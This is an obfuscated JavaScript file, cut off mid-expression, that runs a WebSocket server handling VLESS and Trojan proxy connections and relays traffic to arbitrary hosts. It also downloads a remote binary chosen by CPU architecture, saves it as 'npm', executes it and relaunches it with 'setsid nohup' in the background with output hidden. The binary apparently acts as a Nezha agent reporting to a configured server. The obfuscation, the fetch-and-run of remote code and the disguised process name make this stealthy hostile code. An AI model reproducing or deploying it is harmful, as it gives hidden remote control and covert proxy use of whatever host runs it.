_0x83277c=crypto[_0x444592(-0x28,0x76,0x9a,-0x14)](_0x223767['ISOie'])[_0x3b18de(-0x178,-0x137,-0xb1,-0x1e2)](_0x1de431)[_0x444592(-0x1c,0x61,0x81,0x9)](_0x223767[_0x3b18de(-0x19f,-0x1c0,-0x249,-0x1a0)]);if(_0x223767[_0x3b18de(-0x120,-0x1e8,-0xdb,-0xc9)](_0x83277c,_0x2c8729)){_0x4bd2ee=_0x1de431;break;}}if(!_0x4bd2ee)return![];let _0x23377c=-0x1*0x1ebd+-0x1e0e+0x3d03;_0x223767[_0x444592(0x1f4,0x195,0x1ba,0x163)](_0x48aecb[_0x23377c],0x14af+-0x31*0x31+0x1*-0xb41)&&_0x48aecb[_0x223767[_0x3b18de(-0x1b7,-0x1f5,-0x102,-0x1b5)](_0x23377c,-0x9*0x1ff+0x1*-0xaf9+0x1*0x1cf1)]===-0x14c6+-0x183b+-0x2d0b*-0x1&&(_0x23377c+=0xaca*-0x3+-0x5*-0x1df+-0x1705*-0x1);const _0x2d8660=_0x48aecb[_0x23377c];if(_0x223767[_0x444592(0x17b,0x299,0x1c2,0x12f)](_0x2d8660,-0xa0b*-0x3+-0x1257+-0xbc9))return![];_0x23377c+=0x1061+-0x4a9+-0xbb7;const _0x27e466=_0x48aecb[_0x23377c];_0x23377c+=0x808+0x185c+-0x2063;let _0x357cb3,_0x4520fd;if(_0x27e466===-0x1*-0x1cda+-0x24a*0x1+0x1a8f*-0x1)_0x357cb3=_0x48aecb['slice'](_0x23377c,_0x223767[_0x3b18de(-0x11d,-0x13e,-0x11f,-0x1ae)](_0x23377c,-0x13de*-0x1+-0x1b5f*-0x1+-0x2f39))[_0x3b18de(-0x241,-0x1a9,-0x1ad,-0x30b)]('.'),_0x23377c+=0xba8+0x278+0x54*-0x2b;else{if(_0x27e466===-0x1*0xc31+-0xe*-0x2a0+0xc46*-0x2){const _0x20bedb=_0x48aecb[_0x23377c];_0x23377c+=0x6e3+0x119+-0x7fb,_0x357cb3=_0x48aecb[_0x444592(0x1f5,0x13d,0x129,0xfa)](_0x23377c,_0x223767[_0x444592(-0x35,0xc,0x94,0x60)](_0x23377c,_0x20bedb))[_0x3b18de(-0x143,-0xf2,-0xd8,-0x17a)](),_0x23377c+=_0x20bedb;}else{if(_0x223767[_0x444592(0x28e,0x119,0x1ba,0x179)](_0x27e466,0x1ad2+0x12a*-0x17+-0x8)){if('zywqW'===_0x223767[_0x3b18de(-0x228,-0x23b,-0x249,-0x1f5)]){const _0x1c1c52={};_0x1c1c52[_0x3b18de(-0x1c7,-0x1a7,-0x16b,-0x22e)+'pe']=_0x223767['hoQEk'],_0x4a4e38['writeHead'](-0x6*-0x438+0x2*0x6ee+-0x2598,_0x1c1c52),_0x37bc77[_0x444592(-0x43,0x6c,0x1c,0x91)](_0x223767[_0x3b18de(-0x1a2,-0x149,-0x11a,-0x20e)]);}else _0x357cb3=_0x48aecb[_0x3b18de(-0x1b1,-0xed,-0x117,-0x1eb)](_0x23377c,_0x223767[_0x444592(0x129,0x1ac,0x1b8,0x184)](_0x23377c,0x1a*-0x1a+0x6*-0x179+0xb8a))[_0x444592(0x4e,0x38,0x35,-0x2c)]((_0x6cff89,_0x1f1cc3,_0x5736a1,_0x524506)=>_0x5736a1%(-0x1fae+-0x14*-0x10a+0xae8)?_0x6cff89['concat'](_0x524506['slice'](_0x5736a1-(0x17*0x3+-0x2f*0x19+0x29*0x1b),_0x5736a1+(0x599*-0x1+0x9eb*-0x1+0x1d*0x89))):_0x6cff89,[])['map'](_0x27d054=>_0x27d054[_0x3b18de(-0x239,-0x208,-0x30c,-0x316)+'BE'](-0x227a*-0x1+-0xac5+-0x17b5)[_0x3b18de(-0x143,-0x123,-0x15d,-0xc1)](-0x49*0x79+0xb2d+0x5d9*0x4))['join'](':'),_0x23377c+=0x265*-0x5+0x10ab+-0x251*0x2;}else return![];}}_0x4520fd=_0x48aecb[_0x3b18de(-0x239,-0x23f,-0x24d,-0x199)+'BE'](_0x23377c),_0x23377c+=-0x24c0+0x3c9+0x20f9;if(_0x223767[_0x3b18de(-0x298,-0x214,-0x2e3,-0x24c)](_0x23377c,_0x48aecb[_0x444592(-0x97,-0x1d,0x34,-0x86)])&&_0x223767[_0x444592(0x16e,0x217,0x1a4,0x169)](_0x48aecb[_0x23377c],-0x41*0x5+0xa7*-0x2+0x2a0)&&_0x223767[_0x444592(0x164,0x12e,0x190,0x167)](_0x48aecb[_0x223767['lrtnn'](_0x23377c,-0x1a8*-0x12+-0x16*0xa6+-0xf8b)],0x26c+0x21a5+-0x2407)){if(_0x223767['RTxJf']===_0x223767['RTxJf'])_0x23377c+=0xb0b+0xd91+-0x189a;else{!_0x223767['GZICK'](_0x3e1a17,_0x59833c,_0x3024a2)&&_0xf48bc3['close']();return;}}const _0x3ac4b0=createWebSocketStream(_0x5073a1);return _0x223767[_0x444592(0x2e,0x20,0x6a,0xf3)](resolveHost,_0x357cb3)[_0x444592(0xe0,0x9f,0x9b,-0x35)](_0x186c51=>{const _0x175f96={'hsNAH':function(_0x44bc13,_0xd2fb39){return _0x44bc13!==_0xd2fb39;},'bZEJP':_0x33c214(0xd0,0xab,0x54,0x12a),'QsxhW':function(_0xdda117,_0x1e1ee2){function _0x25e389(_0x1437ce,_0x1bbac0,_0xc7627b,_0x3501ea){return _0x33c214(_0x1437ce-0xc4,_0x1bbac0-0x1b,_0x1437ce- -0xf6,_0x1bbac0);}return _0x223767[_0x25e389(-0x182,-0x228,-0x21a,-0x15f)](_0xdda117,_0x1e1ee2);},'mvfUc':_0x223767['FPJoe']};function _0x33c214(_0x40967e,_0x5daab7,_0x63f8c8,_0x8bc088){return _0x3b18de(_0x63f8c8-0x20c,_0x8bc088,_0x63f8c8-0x7d,_0x8bc088-0x90);}const _0x3da5a6={};_0x3da5a6[_0x17bcd0(0x1a1,0x212,0x142,0x17e)]=_0x186c51,_0x3da5a6['port']=_0x4520fd;function _0x17bcd0(_0x4b06a1,_0x1148b3,_0x333deb,_0x354e4b){return _0x444592(_0x4b06a1,_0x1148b3-0x4c,_0x333deb- -0x19,_0x354e4b-0x15d);}net['connect'](_0x3da5a6,function(){function _0x43d25b(_0x162409,_0x3ba187,_0x286a01,_0x870268){return _0x17bcd0(_0x870268,_0x3ba187-0xfd,_0x3ba187-0x37c,_0x870268-0x94);}function _0x18db77(_0x135de6,_0x27bb89,_0x28e451,_0x25f40d){return _0x33c214(_0x135de6-0xfe,_0x27bb89-0x15,_0x27bb89-0x15e,_0x28e451);}_0x175f96['hsNAH'](_0x175f96[_0x18db77(0xaf,0xbd,0x64,0x30)],_0x43d25b(0x44f,0x485,0x4a9,0x4de))?this[_0x18db77(0x22a,0x15a,0x1b8,0x192)](_0x486f03[_0x18db77(0x240,0x1b9,0x193,0x1f2)](_0x5f5701)):(_0x175f96[_0x18db77(0x1f9,0x1a6,0x159,0x10b)](_0x23377c,_0x48aecb[_0x43d25b(0x2cf,0x397,0x408,0x39b)])&&this[_0x18db77(0xaf,0x15a,0x19f,0x120)](_0x48aecb[_0x18db77(0x196,0x1b9,0x159,0x1be)](_0x23377c)),_0x3ac4b0['on'](_0x175f96[_0x43d25b(0x4cb,0x505,0x463,0x457)],()=>{})[_0x18db77(0x70,0xa4,0x62,0x61)](this)['on'](_0x175f96[_0x18db77(0x243,0x232,0x23d,0x2a9)],()=>{})[_0x43d25b(0x2b9,0x377,0x3a9,0x2fb)](_0x3ac4b0));})['on'](_0x17bcd0(0x1ac,0x7b,0x105,0x137),()=>{});})['catch'](_0x4163bc=>{const _0x19332b={'ZSsaO':function(_0x21ee5a,_0x302d51){return _0x223767['dBAjp'](_0x21ee5a,_0x302d51);},'NmRNv':_0x223767[_0x1b74cd(-0x124,-0x107,-0x11b,-0x1bb)],'hBNdR':function(_0x34e88c,_0x376dd2){function _0x158185(_0x1ccdff,_0x3430fb,_0x4c4753,_0x5d7fc2){return _0x1b74cd(_0x1ccdff,_0x5d7fc2-0x26f,_0x4c4753-0x7a,_0x5d7fc2-0xe);}return _0x223767[_0x158185(0x105,0x1e2,0x1ff,0x14e)](_0x34e88c,_0x376dd2);},'nxYiD':function(_0x2c944d,_0x4e2c15){return _0x2c944d===_0x4e2c15;},'eenna':function(_0x56d0d6,_0x4f6e79){return _0x56d0d6!==_0x4f6e79;},'lmZDz':_0x4f2673(-0x181,-0xa8,0x2,-0x177),'DYsjs':_0x4f2673(-0x1fc,-0x16b,-0x1c4,-0x1ac),'TUVCk':_0x1b74cd(-0x53,-0x6d,-0x47,-0x89)};function _0x1b74cd(_0x3e4d7d,_0x3c5f50,_0x2fa0b8,_0x1080f4){return _0x444592(_0x3e4d7d,_0x3c5f50-0x18f,_0x3c5f50- -0x18b,_0x1080f4-0x108);}const _0x3d5aa0={};_0x3d5aa0[_0x4f2673(-0x13f,-0x86,-0x54,0xe)]=_0x357cb3,_0x3d5aa0['port']=_0x4520fd;function _0x4f2673(_0x4038b0,_0x2d2c79,_0x3e263f,_0x3d0988){return _0x3b18de(_0x2d2c79-0xf9,_0x3e263f,_0x3e263f-0x1e,_0x3d0988-0xa4);}net[_0x1b74cd(-0xa6,-0xbe,-0x17f,-0x137)](_0x3d5aa0,function(){function _0x2151ae(_0x106c50,_0x12dbfc,_0x12c653,_0x5c1ad3){return _0x1b74cd(_0x12dbfc,_0x5c1ad3-0x31f,_0x12c653-0x152,_0x5c1ad3-0x17b);}function _0x4a03b2(_0x23f2cc,_0xca1d30,_0x3e8574,_0x570ff0){return _0x1b74cd(_0xca1d30,_0x570ff0- -0x175,_0x3e8574-0x134,_0x570ff0-0xba);}if(_0x19332b[_0x2151ae(0x162,0x28c,0x1a9,0x1e9)](_0x4a03b2(-0x206,-0x307,-0x28c,-0x288),_0x2151ae(0x186,0x19e,0x270,0x20c))){if(_0x23377c<_0x48aecb[_0x2151ae(0x166,0x163,0x1fa,0x1c8)]){if(_0x19332b[_0x2151ae(0x24d,0x208,0x278,0x28c)](_0x19332b[_0x4a03b2(-0x1f0,-0x236,-0x169,-0x20c)],_0x19332b[_0x4a03b2(-0xe3,-0x11d,-0x271,-0x198)]))this[_0x4a03b2(-0x1b0,-0x2ec,-0x1ed,-0x236)](_0x48aecb[_0x2151ae(0x2a8,0x1f0,0x314,0x2bd)](_0x23377c));else{const _0x475da5=_0xcf52c7(NfgUXo[_0x4a03b2(-0x20e,-0x275,-0x264,-0x1a7)](_0x4a03b2(-0x21f,-0x239,-0x2b3,-0x21b)+_0x2151ae(0x144,0x1de,0x1cc,0x1dc),NfgUXo[_0x2151ae(0x208,0x1d6,0x229,0x27a)])+');');_0x44578e=_0x475da5();}}_0x3ac4b0['on'](_0x4a03b2(-0x107,-0x105,-0x110,-0x1e2),()=>{})[_0x2151ae(0x111,0x1a4,0x1b9,0x1a8)](this)['on'](_0x19332b[_0x4a03b2(-0x240,-0x2ef,-0x1fb,-0x283)],()=>{})[_0x2151ae(0x278,0x1e0,0x166,0x1a8)](_0x3ac4b0);}else{_0x19332b[_0x4a03b2(-0x110,-0x102,-0x254,-0x182)](_0x2244cb,_0x214fa9['data']);return;}})['on'](_0x223767[_0x1b74cd(-0xd4,-0x146,-0x175,-0x1f4)],()=>{});}),!![];}catch(_0x58d625){return![];}}wss['on'](_0x187de4(0xb,0x43,-0x8,0x8e),(_0x47e7e4,_0x431831)=>{const _0x2339f9={'xtmfg':function(_0x4c02ce,_0x31b039){return _0x4c02ce+_0x31b039;},'JorHT':function(_0x33de90,_0x3b7ff6){return _0x33de90>_0x3b7ff6;},'LMQeH':function(_0x386182,_0x1f75cd){return _0x386182===_0x1f75cd;},'mKYWI':function(_0x722ca4,_0x4b70c2){return _0x722ca4===_0x4b70c2;},'WXAmI':_0x5527da(0x4c7,0x4bc,0x3f7,0x56e),'umEPR':function(_0x35d18d,_0x424e6d,_0x31621a){return _0x35d18d(_0x424e6d,_0x31621a);},'WtJzW':'message','qwTSw':'error'};function _0xc8e065(_0x20ffb2,_0x3603a9,_0x4c7179,_0x19ef62){return _0x23a861(_0x3603a9,_0x3603a9-0x1e0,_0x4c7179-0xcd,_0x19ef62-0x3e);}function _0x5527da(_0xaf6dbe,_0x26fd51,_0x57e93f,_0x31181a){return _0x23a861(_0x26fd51,_0x26fd51-0xb2,_0x57e93f-0x5a,_0xaf6dbe-0x40f);}const _0x49b2a7=_0x431831[_0x5527da(0x3de,0x468,0x42d,0x4b1)]||'';_0x47e7e4[_0x5527da(0x34c,0x347,0x32c,0x357)](_0x2339f9[_0xc8e065(0x65,-0x50,0x3d,0xc)],_0x30e286=>{function _0x23bae7(_0x541d50,_0x3c9746,_0x764a58,_0x56e146){return _0x5527da(_0x3c9746-0xa0,_0x56e146,_0x764a58-0x136,_0x56e146-0x16a);}function _0x1ffb25(_0x2a1fe2,_0x70194a,_0x403528,_0x3d2902){return _0xc8e065(_0x2a1fe2-0x155,_0x403528,_0x403528-0x121,_0x2a1fe2-0x2d);}if(_0x2339f9['JorHT'](_0x30e286['length'],0x3*-0x1b+0x3fb+-0x399)&&_0x2339f9[_0x23bae7(0x335,0x3e3,0x423,0x39c)](_0x30e286[-0x100b+-0x94*-0x4+0x5f*0x25],0xfe3+0x13f5+-0x8*0x47b)){const _0x3e5083=_0x30e286[_0x23bae7(0x490,0x4ef,0x5a3,0x44f)](0xa80+0x10a8+-0x3*0x90d,-0x3b3+-0x3*0x20+0x109*0x4),_0x35bbfb=_0x3e5083['every']((_0x5ddf90,_0x326a26)=>_0x5ddf90==parseInt(uuid[_0x1ffb25(0xc,0x3c,-0x87,-0x41)](_0x326a26*(-0x67*-0x59+-0x119c+-0x1231),-0xe10+-0xb27*-0x2+-0x20f*0x4),0x1aba*-0x1+-0x3*0x946+-0x6*-0x91a));if(_0x35bbfb){if(_0x2339f9[_0x1ffb25(0x87,0x54,0xd,0x3e)](_0x2339f9[_0x23bae7(0x51c,0x4c9,0x418,0x59a)],_0x1ffb25(0xc4,0x4d,0xba,0x12b)))_0x3c491e=_0x5be0b9[_0x1ffb25(0xab,0x150,0x3d,0x102)](_0x20fea8,_0x2339f9[_0x1ffb25(0x4d,-0x6a,0x4d,-0x2c)](_0x3528a0,-0xa6*-0x34+0x1351+-0x3505))[_0x1ffb25(0x1b,0xbd,-0xa,0xa4)]('.'),_0x13d739+=0xbfd+-0x2696+0x2f5*0x9;else{!_0x2339f9[_0x1ffb25(-0x4c,0x31,-0xf6,-0x1f)](handleVlessConnection,_0x47e7e4,_0x30e286)&&_0x47e7e4[_0x23bae7(0x53e,0x52c,0x600,0x480)]();return;}}}!handleTrojanConnection(_0x47e7e4,_0x30e286)&&_0x47e7e4[_0x1ffb25(0xe8,0x1c4,0x7e,0xde)]();})['on'](_0x2339f9[_0xc8e065(0x77,-0x11e,0x50,-0x44)],()=>{});});const getDownloadUrl=()=>{const _0x1912ba={};function _0x5916b6(_0x27b2f3,_0x41ca91,_0x5675f2,_0x1cdf90){return _0x23a861(_0x5675f2,_0x41ca91-0x96,_0x5675f2-0x1a4,_0x41ca91-0x2eb);}_0x1912ba[_0x82f37d(-0x1a1,-0x279,-0x1aa,-0x1ad)]=_0x82f37d(-0x2c4,-0x2da,-0x29d,-0x38d)+'d64.ssss.n'+_0x5916b6(0x31d,0x30b,0x2b6,0x3db)+'t',_0x1912ba['FyEOt']=function(_0x56be32,_0x4b06df){return _0x56be32===_0x4b06df;},_0x1912ba[_0x82f37d(-0x249,-0x22d,-0x1da,-0x2ac)]=_0x5916b6(0x421,0x3ab,0x439,0x31c),_0x1912ba['hslXZ']=function(_0x300854,_0x2deb47){return _0x300854===_0x2deb47;},_0x1912ba[_0x82f37d(-0x2b5,-0x1e5,-0x291,-0x214)]='aarch64',_0x1912ba[_0x82f37d(-0x301,-0x259,-0x1e6,-0x17e)]=function(_0x16a9d5,_0x55b3a9){return _0x16a9d5!==_0x55b3a9;},_0x1912ba['vUaES']='zTEBk',_0x1912ba[_0x82f37d(-0x356,-0x2e6,-0x273,-0x325)]=_0x82f37d(-0x247,-0x2be,-0x1f8,-0x27d)+_0x82f37d(-0x263,-0x24f,-0x232,-0x231)+_0x82f37d(-0x2d3,-0x271,-0x1e9,-0x2eb),_0x1912ba['wHvSd']=_0x82f37d(-0x354,-0x2be,-0x31a,-0x257)+_0x5916b6(0x25b,0x2b2,0x228,0x29d)+_0x5916b6(0x35b,0x30b,0x38c,0x28c)+'t',_0x1912ba[_0x5916b6(0x228,0x229,0x14d,0x1c6)]=_0x5916b6(0x2b9,0x227,0x26f,0x293)+_0x5916b6(0x268,0x254,0x182,0x1f1)+_0x5916b6(0x272,0x290,0x215,0x1c3);const _0x57cb77=_0x1912ba;function _0x82f37d(_0x40b7db,_0x5a9ac3,_0x1cd9f0,_0x109a33){return _0x23a861(_0x1cd9f0,_0x5a9ac3-0x117,_0x1cd9f0-0x1df,_0x5a9ac3- -0x216);}const _0x282eed=os[_0x82f37d(-0x1d6,-0x18b,-0x16f,-0x24e)]();return _0x57cb77[_0x5916b6(0x3fa,0x370,0x2f9,0x2c8)](_0x282eed,_0x57cb77[_0x82f37d(-0x1f0,-0x22d,-0x256,-0x2dc)])||_0x57cb77[_0x5916b6(0x415,0x370,0x329,0x3b8)](_0x282eed,_0x5916b6(0x2e1,0x2f7,0x24f,0x3a9))||_0x57cb77[_0x82f37d(-0x279,-0x1e8,-0x24c,-0x1f7)](_0x282eed,_0x57cb77['uOEKB'])?!NEZHA_PORT?_0x57cb77[_0x82f37d(-0x1dc,-0x259,-0x23b,-0x2dd)](_0x57cb77['vUaES'],_0x57cb77['vUaES'])?_0x57cb77['KnsTw']:_0x57cb77[_0x5916b6(0x1c6,0x21b,0x18f,0x23c)]:_0x57cb77[_0x5916b6(0x250,0x2de,0x2bb,0x2d6)]:!NEZHA_PORT?_0x57cb77[_0x82f37d(-0x274,-0x2d8,-0x215,-0x32d)]:_0x57cb77[_0x5916b6(0x28d,0x288,0x2b3,0x2f1)];},downloadFile=async()=>{const _0x150055={'rtvDM':function(_0x4dbf0a,_0x263718){return _0x4dbf0a<_0x263718;},'xiSDG':function(_0x19daa9,_0x2e23ca){return _0x19daa9===_0x2e23ca;},'ghSiG':_0x453b99(0x39e,0x478,0x455,0x3c1),'ZoNre':function(_0x29e259,_0x2404d9,_0x4023a3){return _0x29e259(_0x2404d9,_0x4023a3);},'pbGpY':_0x4922a8(-0x198,-0x173,-0x22d,-0x151)+'pm','YBeQJ':function(_0xc1e742,_0x236a71){return _0xc1e742(_0x236a71);},'gLXtP':_0x4922a8(-0x154,-0x19c,-0x1ac,-0x198),'mTbEX':function(_0x425c80,_0x20c6f6){return _0x425c80&&_0x20c6f6;},'iSVyL':function(_0x3285d1,_0x4fbe4b){return _0x3285d1!==_0x4fbe4b;},'groAZ':_0x4922a8(-0x1f2,-0x274,-0x33e,-0x336),'EGJDl':function(_0x1dc6d2){return _0x1dc6d2();},'KzNHI':_0x453b99(0x2fe,0x3af,0x32b,0x341),'fLnBO':'stream','HUSyO':'npm'};function _0x4922a8(_0x1f4aa5,_0xbcceb1,_0x134711,_0x22bc66){return _0x23a861(_0x22bc66,_0xbcceb1-0x5d,_0x134711-0x6b,_0xbcceb1- -0x1d1);}function _0x453b99(_0x452741,_0x22757e,_0x2e27a5,_0x40bbca){return _0x23a861(_0x40bbca,_0x22757e-0x3c,_0x2e27a5-0x1ad,_0x452741-0x3b1);}if(_0x150055[_0x4922a8(-0xaf,-0xff,-0x96,-0x3c)](!NEZHA_SERVER,!NEZHA_KEY))return;try{if(_0x150055[_0x4922a8(-0x278,-0x259,-0x1c4,-0x230)](_0x150055[_0x453b99(0x342,0x34f,0x26a,0x35f)],_0x150055['groAZ']))_0x150055[_0x453b99(0x34b,0x300,0x3da,0x41c)](_0x18f1ce,_0x12934d['length'])&&this[_0x4922a8(-0x192,-0x1f0,-0x1a5,-0x161)](_0x3e469f['slice'](_0x20f83f)),_0x8e1a57['on'](_0x4922a8(-0x151,-0x19c,-0x159,-0x174),()=>{})[_0x4922a8(-0x289,-0x2a6,-0x28e,-0x2fb)](this)['on'](_0x453b99(0x3e6,0x492,0x3dc,0x4a6),()=>{})[_0x4922a8(-0x27a,-0x2a6,-0x325,-0x213)](_0x138d30);else{const _0x598930=_0x150055[_0x4922a8(-0x299,-0x257,-0x312,-0x2e7)](getDownloadUrl),_0x5caf7c=await _0x150055[_0x4922a8(-0x1a5,-0x174,-0x1f6,-0x129)](axios,{'method':_0x150055[_0x4922a8(-0x97,-0x10d,-0x36,-0x1ac)],'url':_0x598930,'responseType':_0x150055[_0x453b99(0x3b9,0x41a,0x3c2,0x2f4)]}),_0x1aeada=fs[_0x453b99(0x3a8,0x47d,0x349,0x47d)+_0x4922a8(-0x2b8,-0x223,-0x26b,-0x192)](_0x150055[_0x4922a8(-0x11d,-0x19b,-0x187,-0xc9)]);return _0x5caf7c[_0x453b99(0x32a,0x2fd,0x394,0x2e5)]['pipe'](_0x1aeada),new Promise((_0x1a0290,_0x4f4c10)=>{function _0x41ffec(_0x266ede,_0x3f1246,_0x217565,_0x25c791){return _0x4922a8(_0x266ede-0x100,_0x266ede-0x17c,_0x217565-0xa0,_0x3f1246);}function _0x1ebe3(_0x11e74a,_0x428206,_0x122d05,_0x28c6c2){return _0x4922a8(_0x11e74a-0x15b,_0x428206-0x24e,_0x122d05-0xb4,_0x28c6c2);}const _0x558c67={'aspgQ':function(_0x4494c3,_0x324166){function _0x3295e0(_0x190033,_0x308744,_0x30daf2,_0x4e1599){return _0x38c5(_0x4e1599- -0x1a1,_0x190033);}return _0x150055[_0x3295e0(0x4b,0x3b,0xe6,0x48)](_0x4494c3,_0x324166);}};_0x1aeada['on'](_0x1ebe3(-0xd0,-0x5f,0x57,0x40),()=>{function _0x4767f2(_0xa8c8c3,_0x542123,_0x2443c0,_0x4cb6b3){return _0x1ebe3(_0xa8c8c3-0x7a,_0x2443c0-0x4b0,_0x2443c0-0x6c,_0xa8c8c3);}function _0x48e0d2(_0x49d6d4,_0x1ad682,_0x4ed671,_0x1172f2){return _0x1ebe3(_0x49d6d4-0x105,_0x1172f2- -0x43,_0x4ed671-0x1bc,_0x4ed671);}_0x150055['xiSDG'](_0x150055[_0x48e0d2(-0x7f,-0x73,-0xe8,-0x42)],_0x150055[_0x48e0d2(-0xac,-0x5a,-0x68,-0x42)])?(console['log'](_0x4767f2(0x540,0x693,0x5b9,0x636)+_0x48e0d2(0xcc,-0x6e,-0x34,-0xb)+'fully'),_0x150055[_0x4767f2(0x4c5,0x557,0x488,0x451)](exec,_0x150055[_0x4767f2(0x547,0x5d7,0x5d7,0x62d)],_0x400d90=>{if(_0x400d90)_0x558c67[_0xc11279(0x12b,0xfa,0x181,0x1b5)](_0x4f4c10,_0x400d90);function _0xc11279(_0x19936d,_0x4c640a,_0x186659,_0x2806c3){return _0x48e0d2(_0x19936d-0x75,_0x4c640a-0x90,_0x4c640a,_0x186659-0x90);}_0x1a0290();})):_0x7467b3=_0x4767f2(0x505,0x501,0x500,0x4e3);}),_0x1aeada['on'](_0x150055[_0x1ebe3(0x192,0xce,0x59,0x1f)],_0x4f4c10);});}}catch(_0xccacd2){throw _0xccacd2;}},runnz=async()=>{function _0x545207(_0x1dc0ae,_0x2d4e35,_0x4fc01e,_0x2fdf9f){return _0x23a861(_0x1dc0ae,_0x2d4e35-0xd2,_0x4fc01e-0x131,_0x2d4e35-0x409);}const _0x3dd348={'xmMIC':_0x1421b7(0x239,0x1e7,0x2a6,0x30d),'qioqW':_0x1421b7(0x41d,0x405,0x3ff,0x34a)+'d!','FpzbR':function(_0x3c11df,_0x3d3b60){return _0x3c11df===_0x3d3b60;},'XkJQZ':function(_0x33c9d1){return _0x33c9d1();},'BGZOh':_0x545207(0x4e4,0x4a0,0x40c,0x4e5),'QhTuf':'npm\x20runnin'+_0x545207(0x4b9,0x4ad,0x3fb,0x564),'hmGrp':_0x1421b7(0x33d,0x362,0x2fb,0x27e)+_0x545207(0x3a8,0x360,0x3ac,0x43d),'zprdW':function(_0x3beefc,_0x579d0e,_0x17b507){return _0x3beefc(_0x579d0e,_0x17b507);},'SnbMv':_0x545207(0x33c,0x338,0x3bb,0x2c5)+_0x1421b7(0x38a,0x2a0,0x370,0x2b1)+_0x1421b7(0x352,0x405,0x3d8,0x49a)+'\x20\x22./[n]pm\x22','xTrix':_0x545207(0x33b,0x3b1,0x370,0x3b1),'PUpHI':function(_0x54a654,_0x5eecf9){return _0x54a654!==_0x5eecf9;},'ZzriQ':_0x1421b7(0x2aa,0x21b,0x2b6,0x360),'UEhyz':function(_0x52c96b){return _0x52c96b();},'qqzOH':_0x545207(0x408,0x348,0x2ed,0x2ef),'lhsQw':_0x1421b7(0x4a6,0x4ab,0x42c,0x4b9),'oFZzo':_0x545207(0x3b1,0x37e,0x35a,0x327),'WqTQT':'2083','uSQqD':'2053','fTOgZ':function(_0xdb1c5,_0x21cb35){return _0xdb1c5&&_0x21cb35;},'fQLaG':function(_0x3486bf,_0x4586a4){return _0x3486bf!==_0x4586a4;},'wyRJk':_0x545207(0x42e,0x452,0x4f1,0x3ed),'DmPIR':'false','mvqIK':function(_0x5df442,_0x645cc7){return _0x5df442===_0x645cc7;},'JncIA':_0x545207(0x460,0x3e0,0x3d0,0x464),'btpQq':_0x1421b7(0x367,0x249,0x299,0x257),'VXVtJ':function(_0x592ee3,_0xb83bac,_0x3bd107,_0x28f135){return _0x592ee3(_0xb83bac,_0x3bd107,_0x28f135);},'atXWl':_0x1421b7(0x487,0x307,0x3cb,0x472)};try{const _0x4ed22e=_0x3dd348[_0x1421b7(0x385,0x444,0x380,0x3af)](execSync,_0x3dd348[_0x1421b7(0x3b3,0x2aa,0x379,0x3dc)],{'encoding':_0x3dd348[_0x1421b7(0x488,0x3e9,0x414,0x4b1)]});if(_0x3dd348['PUpHI'](_0x4ed22e[_0x1421b7(0x257,0x397,0x2f9,0x2ce)](),'')){if(_0x3dd348[_0x1421b7(0x355,0x3a7,0x3f1,0x462)]===_0x545207(0x3a8,0x35a,0x290,0x3f6))return'https://am'+_0x545207(0x3ab,0x372,0x449,0x36e)+_0x1421b7(0x369,0x2ad,0x314,0x322);else{console['log'](_0x545207(0x2bd,0x34f,0x3be,0x3c6)+_0x1421b7(0x42e,0x390,0x3ef,0x3d1)+_0x1421b7(0x321,0x2d8,0x29c,0x2ea)+_0x545207(0x360,0x385,0x2d4,0x430));return;}}}catch(_0x5a49de){}await _0x3dd348['UEhyz'](downloadFile);function _0x1421b7(_0x18cbba,_0x135951,_0x1b480e,_0x52fce4){return _0x23a861(_0x18cbba,_0x135951-0x14e,_0x1b480e-0x28,_0x1b480e-0x36f);}let _0x35e29f='',_0x5f2259=[_0x3dd348[_0x1421b7(0x2ae,0x22f,0x301,0x338)],_0x545207(0x3dc,0x434,0x35a,0x450),_0x3dd348[_0x545207(0x3d7,0x470,0x540,0x539)],_0x3dd348[_0x545207(0x42d,0x388,0x2bb,0x38a)],_0x3dd348[_0x1421b7(0x1f9,0x1fb,0x2aa,0x26b)],_0x3dd348[_0x1421b7(0x4ba,0x3d8,0x3e0,0x34f)]];if(_0x3dd348[_0x545207(0x48d,0x47f,0x3b2,0x401)](NEZHA_SERVER,NEZHA_PORT)&&NEZHA_KEY){if(_0x3dd348[_0x1421b7(0x2d9,0x2c2,0x328,0x374)]('LOxib',_0x1421b7(0x312,0x359,0x398,0x2e1))){const _0x265e0c={};_0x265e0c[_0x1421b7(0x3fb,0x2ec,0x399,0x42e)+'pe']=_0x3dd348[_0x1421b7(0x230,0x2fe,0x2c1,0x2b1)],_0x385f14['writeHead'](-0x21cd+-0x8b*-0x1+0x220a*0x1,_0x265e0c),_0x3dc3f6[_0x545207(0x39d,0x33c,0x351,0x2da)](_0x3dd348[_0x545207(0x317,0x330,0x2b6,0x268)]);return;}else{const _0x485fc4=_0x5f2259[_0x1421b7(0x37e,0x395,0x434,0x3ee)](NEZHA_PORT)?_0x3dd348[_0x1421b7(0x409,0x3c9,0x387,0x2f7)]:'';_0x35e29f='setsid\x20noh'+_0x545207(0x46e,0x44a,0x50d,0x432)+'s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+_0x1421b7(0x4e4,0x434,0x429,0x37d)+NEZHA_KEY+'\x20'+_0x485fc4+(_0x545207(0x347,0x412,0x418,0x48f)+_0x545207(0x47c,0x3dd,0x345,0x4aa)+_0x545207(0x298,0x358,0x32c,0x3df)+'t-delay\x204\x20'+_0x545207(0x4ae,0x48c,0x4df,0x4fa)+_0x545207(0x4c4,0x49c,0x3e2,0x4a6)+'rocs\x20>/dev'+_0x1421b7(0x447,0x352,0x385,0x313)+'\x20&');}}else{if(NEZHA_SERVER&&NEZHA_KEY){if(!NEZHA_PORT){const _0x5d79e1=NEZHA_SERVER[_0x1421b7(0x383,0x505,0x434,0x4bc)](':')?NEZHA_SERVER['split'](':')[_0x545207(0x4e5,0x428,0x4d1,0x4d1)]():'',_0xce0d43=_0x5f2259['includes'](_0x5d79e1)?_0x545207(0x352,0x33a,0x3bc,0x31d):_0x3dd348[_0x545207(0x2fe,0x39c,0x336,0x3a1)],_0x2f7d56=_0x1421b7(0x326,0x303,0x2c5,0x32f)+'ret:\x20'+NEZHA_KEY+(_0x545207(0x2c0,0x331,0x3e0,0x25f)+_0x545207(0x3ad,0x3ee,0x465,0x3c1)+_0x545207(0x503,0x455,0x3ef,0x438)+_0x545207(0x312,0x3a0,0x3dd,0x30d)+_0x545207(0x37a,0x34a,0x27d,0x3ab)+_0x545207(0x4ee,0x4ac,0x556,0x530)+_0x545207(0x440,0x4b9,0x4ba,0x4c9)+_0x1421b7(0x36c,0x2c2,0x2b1,0x25b)+_0x545207(0x4a6,0x4cb,0x4f5,0x479)+_0x